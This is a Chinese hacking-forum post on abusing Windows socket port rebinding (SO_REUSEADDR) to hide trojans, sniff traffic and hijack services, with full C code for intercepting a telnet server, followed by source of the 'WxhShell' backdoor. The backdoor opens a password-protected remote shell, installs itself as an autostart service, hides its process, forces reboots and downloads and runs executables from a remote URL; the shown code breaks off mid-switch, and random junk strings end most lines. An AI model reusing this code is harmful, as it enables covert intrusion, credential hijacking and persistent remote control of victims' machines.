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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ,EpH4*e  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); a|_p,_  
9YN?  
  saddr.sin_family = AF_INET; e8P-k3a"5:  
.Zmp ,  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); \7v)iG|#G&  
QM<y`cZ8  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); .Y*f2A.v  
aP-<4uGx  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 S* R,FKg  
7 s Fz?` -  
  这意味着什么?意味着可以进行如下的攻击: 9X}I>  
G"dS+,Q  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 J CGC  
SO f{Hx0C6  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) GK*v{`  
Vb|#MNf)  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ZC0-wr \  
g"_C,XN  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  <skajQQ  
HMGB>  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Shr,#wwM`B  
FnFb[I@eu  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 'LE"#2Hu  
{zLhiUH a0  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 3ec`Wa  
R^#@lI~  
  #include OE`X<h4r  
  #include =aG xg57  
  #include - y AQ  
  #include    Q \hY7Xq'  
  DWORD WINAPI ClientThread(LPVOID lpParam);   s)J(/  
  int main() p0:kz l4$  
  { OO) ~HV4\  
  WORD wVersionRequested; ]0V}D,V($  
  DWORD ret; 'jg3  
  WSADATA wsaData; #Pk$L+C  
  BOOL val; vGy8Qu>  
  SOCKADDR_IN saddr; i[jJafAcN  
  SOCKADDR_IN scaddr; XXZaKgsq  
  int err; 6xK[34~ 6  
  SOCKET s; <Zb/  
  SOCKET sc; H}}$V7]^),  
  int caddsize; O[^%{'  
  HANDLE mt; oqd;6[%G  
  DWORD tid;   G6 0S|d  
  wVersionRequested = MAKEWORD( 2, 2 ); YwEpy(}hJm  
  err = WSAStartup( wVersionRequested, &wsaData ); fxcc<h4  
  if ( err != 0 ) { yay<GP?  
  printf("error!WSAStartup failed!\n"); YZf6|  
  return -1; &[vw 0N-  
  } [Nm4sI11  
  saddr.sin_family = AF_INET; Sjj>#}U  
   "/Pjjb:2  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 =T?}Nt  
:M3oUE{  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); -Apc$0ZsN  
  saddr.sin_port = htons(23); }L=/A7Nk>  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) {7hLsK[])  
  { sic"pn],U  
  printf("error!socket failed!\n"); BaI $S>/Q  
  return -1; WsU)Y&  
  }  mEG6  
  val = TRUE;  uF|3/x=  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 n.MRz WJpZ  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) )-15 N  
  { S0,R_d')  
  printf("error!setsockopt failed!\n"); CqMhk  
  return -1; Cwa^"r3P1  
  } z4%uN |V  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ipnV$!z  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 HAzBy\M{  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 2j JmE&)7,  
s9;#!7ms  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 6 gL=u-2  
  { Qj{8?lew  
  ret=GetLastError(); |~`as(@Ih  
  printf("error!bind failed!\n"); Yf,K#' h:  
  return -1; >^Q&nkB"B  
  } O|IG_RL]  
  listen(s,2);  5^<h}u9  
  while(1) \uqjs+  
  { !3n)|~r;K  
  caddsize = sizeof(scaddr); 5@IB39  
  //接受连接请求 (tah]Bx  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); w27KI]%(  
  if(sc!=INVALID_SOCKET) GG064zPq7  
  { wcSyw2D  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Bs+(L [Z  
  if(mt==NULL) h` U?1xS  
  { =uk0@hy9b  
  printf("Thread Creat Failed!\n"); NL=|z=q  
  break; )~4II.`%^  
  } Mv 544>:  
  } "I?Am&>'  
  CloseHandle(mt); GcIDG`RX  
  } 9O` m,t  
  closesocket(s); `pf4X/Py  
  WSACleanup(); q\Q{sv_  
  return 0; TNCgaTJ{h  
  }   d<!3`qe  
  DWORD WINAPI ClientThread(LPVOID lpParam) <9E0iz+j  
  { ptatzp]c#  
  SOCKET ss = (SOCKET)lpParam; O<PO^pi  
  SOCKET sc; 6vuq1  
  unsigned char buf[4096]; [Aj Q#;#Q  
  SOCKADDR_IN saddr; LZJA4?C  
  long num; Ds #/  
  DWORD val; geQ{EwO8n  
  DWORD ret; w\54j)rb  
  //如果是隐藏端口应用的话,可以在此处加一些判断 'j^xbikr  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   WARb"8Kg  
  saddr.sin_family = AF_INET; \P} p5k[  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); H1<>NWm!v7  
  saddr.sin_port = htons(23); M` q?Fk  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) E J$36  
  { 1c3TN#|)W  
  printf("error!socket failed!\n"); >_rha~   
  return -1; 9I1tN  
  } 8h3=b[  
  val = 100; P 71(  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) [Vd[-  
  { *Do/+[Ae  
  ret = GetLastError(); ;Op3?_  
  return -1; ,fK3ZC  
  } "|;:>{JC  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) lzw3=H  
  { ,NnhHb2\  
  ret = GetLastError(); rG#Z=*b%  
  return -1; +iRq8aS_  
  } .Ha'p.  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 56^ +;^f^`  
  { JdIlWJY  
  printf("error!socket connect failed!\n"); 4S~o-`&W  
  closesocket(sc); h\plQ[T  
  closesocket(ss); ]\/tVn.'  
  return -1; jV.g}F+1m  
  } ^~{$wVGa  
  while(1) 2*(Z==XC7  
  { u@ jX+\  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 W_m"ySQs  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 g{W;I_P^9  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 x~.:64  
  num = recv(ss,buf,4096,0); wi9DhVvc 0  
  if(num>0) 0ye!R   
  send(sc,buf,num,0); 4}`  
  else if(num==0) .sQ=;w/ZA  
  break; R[ 49(>7H4  
  num = recv(sc,buf,4096,0); d,8mY/S>w  
  if(num>0) e[sK@jX6  
  send(ss,buf,num,0); |F9z,cc"  
  else if(num==0) v9Xp97J2  
  break; :2njp%  
  } e]jH+IR:>  
  closesocket(ss); Bo<>e~6P  
  closesocket(sc); R!l:O=[<  
  return 0 ; u:aW 8  
  } TCT57P#b  
I^oE4o  
YF+n b.0.  
========================================================== dw.F5?j`b  
Wf{O[yL*  
下边附上一个代码,,WXhSHELL V([~r,  
kdb(I@6  
========================================================== mv5n4mav  
yLsz8j-QJ  
#include "stdafx.h" V5p= mmnA,  
:>p8zG  
#include <stdio.h> h3T9"w[  
#include <string.h> 5 H#W[^s"  
#include <windows.h> \rVQQ|l   
#include <winsock2.h> 7' S@3   
#include <winsvc.h> =)hVn  
#include <urlmon.h> p7:{^  
O?<&+(uMTT  
#pragma comment (lib, "Ws2_32.lib") _EF&A-kX|u  
#pragma comment (lib, "urlmon.lib") Oy 2+b1{  
j5 g# M  
#define MAX_USER   100 // 最大客户端连接数 + >cBVx6  
#define BUF_SOCK   200 // sock buffer bzdb|I6Z  
#define KEY_BUFF   255 // 输入 buffer 0i8LWX_M  
^ wY[3"{  
#define REBOOT     0   // 重启 /r12h|  
#define SHUTDOWN   1   // 关机 v)2M1  
K}=|.sE9  
#define DEF_PORT   5000 // 监听端口 #2`D`>7456  
1SrJ6W @j[  
#define REG_LEN     16   // 注册表键长度 -=.V '  
#define SVC_LEN     80   // NT服务名长度 ?<6CFH]  
l4TpH|k  
// 从dll定义API 'ejvH;V3i  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); "R8KQj  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 0flg=U9  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Ela-,(Glk  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); M-i_#EWP  
&Q}*+Y]G  
// wxhshell配置信息 Xn~I=Ml d  
struct WSCFG { lo'W1p  
  int ws_port;         // 监听端口 q5>v'ZSo  
  char ws_passstr[REG_LEN]; // 口令 F @Te@n  
  int ws_autoins;       // 安装标记, 1=yes 0=no  iD= p\  
  char ws_regname[REG_LEN]; // 注册表键名 >Z1q j>  
  char ws_svcname[REG_LEN]; // 服务名 \6;=$f/?t  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 4mn&4e  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 y>*xVK{D  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 6\61~u~  
int ws_downexe;       // 下载执行标记, 1=yes 0=no I |# 5NE6  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" UX]L;kI  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 }8;[O 9  
V'w@rc\XN  
}; P;pl,~  
2< hAa9y  
// default Wxhshell configuration e[Abp~@M1  
struct WSCFG wscfg={DEF_PORT, =TqQbadp  
    "xuhuanlingzhe", yjJ5P`j]  
    1, vP+@z-O  
    "Wxhshell", n]dL?BJ  
    "Wxhshell",  ^xPmlS;X  
            "WxhShell Service", @-OnHE  
    "Wrsky Windows CmdShell Service", KRjV}\}  
    "Please Input Your Password: ", V^Hu3aUx8  
  1, =}PdH`S  
  "http://www.wrsky.com/wxhshell.exe", BcD&sQ2F  
  "Wxhshell.exe" )]#aauC+  
    }; Z@Ae$ '9H  
wu"&|dt  
// 消息定义模块 b=3H  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _,</1~.  
char *msg_ws_prompt="\n\r? for help\n\r#>"; qH['09/F6  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; `Y?87f:SP  
char *msg_ws_ext="\n\rExit."; <, 3ROo76  
char *msg_ws_end="\n\rQuit."; -gQCn>"  
char *msg_ws_boot="\n\rReboot..."; vky.^  
char *msg_ws_poff="\n\rShutdown..."; Zs<KZGn-B  
char *msg_ws_down="\n\rSave to "; 0zY(:;X  
w>b-} t  
char *msg_ws_err="\n\rErr!"; b~-%c_  
char *msg_ws_ok="\n\rOK!"; <9> vO,n  
g R nOd  
char ExeFile[MAX_PATH]; t#!yrQ..'G  
int nUser = 0; sZ?mP;Q  
HANDLE handles[MAX_USER]; @,XSs  
int OsIsNt; #Wu*3&a]yU  
Mkq( T[)  
SERVICE_STATUS       serviceStatus; S.!UPkWH  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; :$+-3_oLMQ  
L],f3<  
// 函数声明 S(:l+JP  
int Install(void); :6q]F<oK  
int Uninstall(void); .UoOO'1K  
int DownloadFile(char *sURL, SOCKET wsh); ZIdA\_c  
int Boot(int flag); -[L!3jU  
void HideProc(void); ;l$ \6T  
int GetOsVer(void); 1n\ t+F  
int Wxhshell(SOCKET wsl); _e9:me5d"$  
void TalkWithClient(void *cs); pStk/te,XK  
int CmdShell(SOCKET sock); ]\ngX;h8G  
int StartFromService(void); 5{$LsL  
int StartWxhshell(LPSTR lpCmdLine); OxGE%R,  
X>?b#Eva  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); n&A'C\  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); )#F]G$51r  
q64k7<C,  
// 数据结构和表定义 16SOIT  
SERVICE_TABLE_ENTRY DispatchTable[] = upvS|KUil  
{ -R>}u'EG>  
{wscfg.ws_svcname, NTServiceMain}, moVbw`T  
{NULL, NULL} 81*M= ?  
}; P=1I<Pew  
J9T3nTfL  
// 自我安装 .vG,fuf8  
int Install(void) s}j1"@  
{ 7OW bAu;  
  char svExeFile[MAX_PATH]; ~afg)[(  
  HKEY key; q$G,KRy/  
  strcpy(svExeFile,ExeFile); jgS%1/&  
KN"S?i]X  
// 如果是win9x系统,修改注册表设为自启动 T;L>P[hNn  
if(!OsIsNt) { wM_c48|d  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { hXGwP4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /*Qq[C  
  RegCloseKey(key); *-s,. F+c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { OiDhJ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8>/Q1(q0  
  RegCloseKey(key); @E.k/G!~Nb  
  return 0; 1 y}2+Kk  
    } ! Q<>3 xZ  
  } 8}w6z7e|{  
} %P;Q|v6/|  
else { <}6{{&mT4  
,<DB&&EV8  
// 如果是NT以上系统,安装为系统服务  '8j$';&`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); a(]`F(L  
if (schSCManager!=0) ?X?&~3iD%  
{ d2s OYCKe  
  SC_HANDLE schService = CreateService 09o~9z0  
  ( Q !qrNa6  
  schSCManager, #y|V|nd  
  wscfg.ws_svcname, q %A?V _  
  wscfg.ws_svcdisp, 0ult7s}  
  SERVICE_ALL_ACCESS, pdd/D  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , | nJZie8m  
  SERVICE_AUTO_START, +jC*'7p@  
  SERVICE_ERROR_NORMAL, L}#0I+Ml7  
  svExeFile, aAu>Tn86D.  
  NULL, CXtU"X  
  NULL, ~7!7\i,Y8\  
  NULL, }6 5s'JB  
  NULL, 3\;27&~gV  
  NULL B5X sGLV  
  ); 9dh >l!2  
  if (schService!=0) 1xf=_F0`&  
  { fQ+VT|jzx  
  CloseServiceHandle(schService); 2}?wYI*:5|  
  CloseServiceHandle(schSCManager); M\b")Tu{0  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Ff^@~X+W<  
  strcat(svExeFile,wscfg.ws_svcname); \RQ='/H*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { eK/?%t  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 2fIRlrA$  
  RegCloseKey(key); (eCFWmO  
  return 0; HmK*bZ  
    } %=j3jj[  
  } C}IbxKl  
  CloseServiceHandle(schSCManager); n3MWs);5  
} \bCX=E-  
} 8 6QE /M  
Kt>X3m,  
return 1; @&1Wy p  
} 6pE :A@  
^0W(hA  
// 自我卸载 !S%6Uzsj  
int Uninstall(void) &p<(_|Af  
{ :PbDU$x  
  HKEY key; Vv$HR  
0%s|Zbo!>  
if(!OsIsNt) { nRhrWS  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {+zJI-XN/  
  RegDeleteValue(key,wscfg.ws_regname); *5$&`&,  
  RegCloseKey(key); %[<Y9g,:Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { o-7>eE}+  
  RegDeleteValue(key,wscfg.ws_regname); vtJV"h?e"3  
  RegCloseKey(key); N12:{U  
  return 0; "%8A :^1  
  } A{o'z_zC  
} ~fz[x9\  
} $N$ FtpB  
else { vAP{;Q0 i  
<I;*[;AK  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); U3vEdw<lV  
if (schSCManager!=0) T)7TyE|"2g  
{ z1 i &Ge  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); M ixwK,  
  if (schService!=0) >zY \Llv  
  { dEM ?~?  
  if(DeleteService(schService)!=0) { o?Sla_D   
  CloseServiceHandle(schService); z/&;{J  
  CloseServiceHandle(schSCManager); TPO1 GF  
  return 0; LE?u`i,e=+  
  } !a1i Un9  
  CloseServiceHandle(schService); [_y@M ]  
  } s_jBu  
  CloseServiceHandle(schSCManager); LU!1s@  
} iZ[tHw||  
} d_}a`H  
dw@E)  
return 1; xFp<7p L  
} +-068k(  
;~HNpu$  
// 从指定url下载文件 1H:ea7YVU  
int DownloadFile(char *sURL, SOCKET wsh) 'Tb0-1S?  
{ a! Yb1[  
  HRESULT hr; 5IMSNGS  
char seps[]= "/"; {g/wY%u=  
char *token; dGH_ z8  
char *file; `!\ivIi^  
char myURL[MAX_PATH]; 0/]_nd  
char myFILE[MAX_PATH]; B{, Bno  
h"QbA"  
strcpy(myURL,sURL); c|wCKn}`  
  token=strtok(myURL,seps); EiV=RdL  
  while(token!=NULL) 'zSgCgCHX8  
  { hQh9ok8S  
    file=token; Z$K+ 7>^  
  token=strtok(NULL,seps); j~ym<-[{a  
  } g"t^r3  
!"4w&bQ  
GetCurrentDirectory(MAX_PATH,myFILE); snk$^  
strcat(myFILE, "\\"); $CtCOwKZ  
strcat(myFILE, file); GCE!$W  
  send(wsh,myFILE,strlen(myFILE),0); 24@^{ }  
send(wsh,"...",3,0); 1czG55 |  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); d5xxb _oE  
  if(hr==S_OK) y[HQBv  
return 0; ui.'^F<  
else ;?9A(q_Z  
return 1; 7#4%\f+'t  
"!&B4  
} 0*(K DDv  
MUof=EJg>u  
// 系统电源模块 +}!DP~y+  
int Boot(int flag) }X1.Wt=?  
{ 2o{@nN8%  
  HANDLE hToken; %= u/3b:o  
  TOKEN_PRIVILEGES tkp; $>vy(Y  
m^$5K's&  
  if(OsIsNt) { 4e%8D`/=M  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ^E@@YV  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); '_Wt }{h  
    tkp.PrivilegeCount = 1; #MTj)P,  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 5}<[[}(  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); %<U{K;  
if(flag==REBOOT) { OCx5/ 88X  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Fn,k!q  
  return 0; ]xq::a{Oy  
} ko[TDh$T5  
else { Vq}r_#!Q  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) QaMDGD  
  return 0; z}5<$K_U  
} )bW5yG!  
  } fcAIg(vW  
  else { ]t/f<jKN^  
if(flag==REBOOT) { :::>ro*R  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _'JRo%{xGX  
  return 0; iPU% /_>  
} }K8Lm-.=  
else { 7z<Cu<  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) QFzFL-H~N  
  return 0; Yn 1?#%%  
} VN|G5*  
} xURw,  
}'`xu9<  
return 1; :HZ;Po   
} _'c+fG \  
%8Yyj{^!(  
// win9x进程隐藏模块 _W9&J&l0so  
void HideProc(void) * -z4<LAa  
{ 94z8B;+ H]  
q z:]-A  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); A[9NP-~  
  if ( hKernel != NULL ) 5^F]tRz-  
  { fOW_h  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ??I:H  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); jaqV[*440U  
    FreeLibrary(hKernel);  4Iq5+Q  
  } VG\mo?G  
" Z;uu)NE  
return; " dT>KQ  
} !Zj#.6c9  
5DSuUEvWcL  
// 获取操作系统版本 0#=W#Jl>  
int GetOsVer(void) %]GV+!3S  
{ !w=,p.?V=  
  OSVERSIONINFO winfo; ;.0LRWcJ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); $NCm;0\B|  
  GetVersionEx(&winfo); P CsK()  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) JjDS"hK#  
  return 1; Gt'/D>FE0  
  else U9F6d!:L7A  
  return 0; qL>v&Rd<  
} ' fl(N2t  
RO$*G jQd  
// 客户端句柄模块 ]+lF=kkc %  
int Wxhshell(SOCKET wsl) \4@a  
{ 'RQiLUF  
  SOCKET wsh; Loc8eToZ  
  struct sockaddr_in client; +I.v!P!^  
  DWORD myID; @SQceQfB  
R_9 o!s TZ  
  while(nUser<MAX_USER) =SL^>HS.fo  
{ S| "TP\o  
  int nSize=sizeof(client); PHl4 vh#E!  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); uH] m]t  
  if(wsh==INVALID_SOCKET) return 1; XC}1_VWs  
]gHLcr3  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); w< mqe0  
if(handles[nUser]==0) VwC4QK,d;  
  closesocket(wsh); fr]Hc+7  
else UhBz<>i;!  
  nUser++; n531rkK-   
  } qu!<lW~c  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); *cQz[S@F  
'rh\CA/}D  
  return 0; _0*=u$~R  
} ,L~snR'w  
>E~~7Yal  
// 关闭 socket aLHrl6"  
void CloseIt(SOCKET wsh) oo'iwq-\  
{ |} 9GHjG  
closesocket(wsh); VHj*aBHB  
nUser--; -rRz@Cr  
ExitThread(0); +ruj  
} v<`$bvv?  
Pd,!&  
// 客户端请求句柄 $4: ~* IQ  
void TalkWithClient(void *cs) XC2Q*Z  
{ BMF3XcH~G  
',%5mF3j  
  SOCKET wsh=(SOCKET)cs; b2W;|  
  char pwd[SVC_LEN]; eoJFh  
  char cmd[KEY_BUFF]; hN}5u"pS  
char chr[1]; z(r" JNO@  
int i,j; ]svw CPu C  
)Jmw|B  
  while (nUser < MAX_USER) { 8vu2k>  
vo.EM1x  
if(wscfg.ws_passstr) { hOV_Oqe4?  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1k`|[l^  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <%(f9j  
  //ZeroMemory(pwd,KEY_BUFF); 7%X+O8  
      i=0; fA;x{0CAMX  
  while(i<SVC_LEN) { m9uUDq#GJ  
75PS^5T,  
  // 设置超时 oX2r?.j#M  
  fd_set FdRead; )y5iH){ !  
  struct timeval TimeOut; FmR\`yY_,  
  FD_ZERO(&FdRead); lej^gxj/2  
  FD_SET(wsh,&FdRead); _5Bu [I  
  TimeOut.tv_sec=8; <)"iL4 kDI  
  TimeOut.tv_usec=0; )~G8 LZ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); NCp%sGBmG  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); x9 TuweG  
cFe V?a  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;,R[]B01u  
  pwd=chr[0]; E=3#TBd  
  if(chr[0]==0xd || chr[0]==0xa) { :E}6S  
  pwd=0; &(GopWR`e  
  break; 8 `yB  
  } +)% ,G@-`  
  i++;  $.=5e3  
    } &C\=!r0j^  
;%M2x5  
  // 如果是非法用户,关闭 socket [ +yGDMLs  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); K T%i,T  
} x!Y(Y=i>  
wbo{JQ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); tP -5  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); % 1OC#&  
hwc:@'  
while(1) { tvv[$ b&  
]Pz|Oi+]  
  ZeroMemory(cmd,KEY_BUFF); 5Gc_LI&v7  
l A 0-?k  
      // 自动支持客户端 telnet标准   x4/T?4k  
  j=0; Bi %Z2/  
  while(j<KEY_BUFF) { ?]759,Q3L  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;B,nzx(L  
  cmd[j]=chr[0]; 6oPUYn-  
  if(chr[0]==0xa || chr[0]==0xd) { `4se7{'UK`  
  cmd[j]=0; 8Ix -i  
  break; $b&BH'*'~  
  } ,M| QN*  
  j++; EolE?g@l8  
    } B!$V\Gs  
cu) @P0I  
  // 下载文件 <|ka{=T  
  if(strstr(cmd,"http://")) { I3V{"Nx6  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); c8 H9_6  
  if(DownloadFile(cmd,wsh)) 2(@LRl>:  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); nYmf(DV  
  else mrw]yu;2<n  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8') .o hD  
  } 5)h+(u C3  
  else { \H},ou U  
#i'C  
    switch(cmd[0]) { 7[(Lrx.pM  
  * [iity  
  // 帮助 `two|gX0K  
  case '?': { IptB.bYc  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^\xCqVk_R  
    break; FF5tPHB  
  } N[- %0  
  // 安装 nL "g23  
  case 'i': { kxt\{iy4  
    if(Install()) 9/@FADh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~Rx~g  
    else BYhmJC|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -6.i\ B  
    break; {o Q(<&Aw  
    } Yg\{S<wr  
  // 卸载 5 ]A$P\7~1  
  case 'r': { fU\k?'x_  
    if(Uninstall()) fzq'S]+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;$E~ZT4p  
    else \ SoYx5lf  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); * ePDc'   
    break; \<0G kp  
    } FN{H\W1cf  
  // 显示 wxhshell 所在路径 (**-"o]HH  
  case 'p': { ::^qy^n  
    char svExeFile[MAX_PATH]; <DA{\'jJ  
    strcpy(svExeFile,"\n\r"); w !=_  
      strcat(svExeFile,ExeFile); [u!p-  
        send(wsh,svExeFile,strlen(svExeFile),0); 0R2S@4%Y  
    break; Ngm O0H  
    } pe`TH::p  
  // 重启 2tg/S=t}  
  case 'b': { GqmDDL1  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); N2+mN0k;  
    if(Boot(REBOOT)) bUY:XmA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,)B~cic'u  
    else { SXT@& @E  
    closesocket(wsh); =rf )yp-D  
    ExitThread(0); (Von;U  
    } WcV\kemf  
    break; wsdB; 6%$  
    } '7RR2f>V  
  // 关机 ,6y-.m7>  
  case 'd': { DjevX7Q  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); /r::68_KQP  
